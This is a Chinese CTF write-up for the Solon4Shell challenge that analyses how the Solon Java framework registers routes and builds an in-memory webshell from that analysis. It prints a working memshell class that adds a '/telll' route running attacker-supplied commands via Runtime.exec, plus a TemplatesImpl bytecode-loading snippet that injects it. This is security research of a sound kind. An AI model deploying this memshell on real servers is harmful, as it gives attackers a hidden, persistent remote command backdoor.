为什么要做这个:之前面试的时候被问过写没写过内存马,我说 Spring 内存马了解过,大概是 xx,xx,xx,xx……
问:那你自己分析过流程吗?
答:稍微看过(其实个人认为找 java-memshell-generator 能打上就行),大概就是找 handler routers 这些,从调用栈去往上找就是了
后面想要分析分析,但是感觉 Spring 都被分析烂了,自己再去看很没意思
正好比赛遇到一个新框架 Solon,就来拿他入手吧
本人使用的 jar 包为 京麒 CTF Solon4Shell 附件
这题赛后 9.19 本地做出来了……
附件:https://github.com/L1nyz-tel/Archive-Bucket/blob/SolonPwn/SolonPwn.jar
写完文章后,才想起来谷歌搜一下是否有其他人写的 Solon 内存马,发现一个星期多前有人发过了
我这里完全没用反射,写得算是最简洁的了
把复杂事情简洁化
看了别人使用的类,在题目的 jar 包里搜
诶,我这里没搜到……
我这个是啥简化版……
直接看我的文章中文字和截图肯定还是不能全面了解的,建议自己起一个调试看看
Solon 内存马分析
org.noear.solon.boot.jlhttp.JlHttpContextHandler#handleDo
Solon.global()
全局方法执行的结果中,变量 _router
为路由数组
跟进 Solon.global().tryHandle(context)
一直 handle 下去。
到 org.noear.solon.core.route.RouterHandler#handleOne
又出现一个 router
,跟 Solon.global()
是同一个
重点关注 Solon.global()
返回为 SolonApp
类
进入 SolonApp
类中
1 2 3
| public void add(String expr, MethodType method, Handler handler) { this._router.add(expr, Endpoint.main, method, handler); }
|
进入这个 add 函数,打上断点重新运行 web 服务,查看是如何加入 routes 的
关键参数为
- path ->
/solon.log
- method ->
enum MethodType
- index -> 0+++……
- handler -> 这个比较复杂
往上层调用去看,handler 其实是从 org.noear.solon.core.handle.HandlerLoader#createAction
获取
这里又有一个问题,这部分几个参数如何获取 this.createAction(this.bw, method, m_map, newPath, this.bRemoting)
emmm 到这里,不打算通过实例化每个参数再来做 new Action(...)
直接去看到 HandlerLoader
类构造函数实例化的地方
查看这里传入的 BeanWrap
参数从何而来,从调用栈往上回溯
来到这个地方 org.noear.solon.core.AopContext#initialize##beanBuilderAdd
(new HandlerLoader(bw)).load(Solon.global())
这句代码拆两部分来看,经过分析,证实都是有用的
new HandlerLoader(bw)
往上回溯 bw
参数的来源
org.noear.solon.core.AopContext#tryCreateBean
这里的 clz
是什么?其实就是我的主类
程序自动获取 org.ctf.Main
类中的注解,从而获取路由信息及其函数并在之后加入路由表中.jpg
.load(Solon.global())
这里可以直接看到 .load(Solon.global())
传入 HandlerLoader
从这个 load
函数,调用下去
最后就是到 loadActionDo
函数,可以将内存马函数加入全局路由
这就是那关键的三行代码
1 2 3
| BeanWrap beanWrap = new BeanWrap(InjectMemShell.class); HandlerLoader handlerLoader = new HandlerLoader(beanWrap); handlerLoader.load(Solon.global());
|
至此,我编写的 Solon 内存马为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.noear.solon.Solon; import org.noear.solon.annotation.Mapping; import org.noear.solon.core.BeanWrap; import org.noear.solon.core.handle.HandlerLoader;
import java.io.BufferedReader; import java.io.InputStreamReader;
public class InjectMemShell extends AbstractTranslet { static { try { BeanWrap beanWrap = new BeanWrap(InjectMemShell.class); HandlerLoader handlerLoader = new HandlerLoader(beanWrap); handlerLoader.load(Solon.global()); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Mapping("/telll") public String index(String cmd) throws Exception { Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder result = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); }
return result.toString(); } }
|
测试:编写注入内存马路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Mapping("/inject") public String inject() { try { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "aaa"); byte[] code = Files.readAllBytes(Paths.get("target/test-classes/InjectMemShell.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } catch (Exception e) { throw new RuntimeException(e); } return "success"; }
|
访问后,即可注入内存马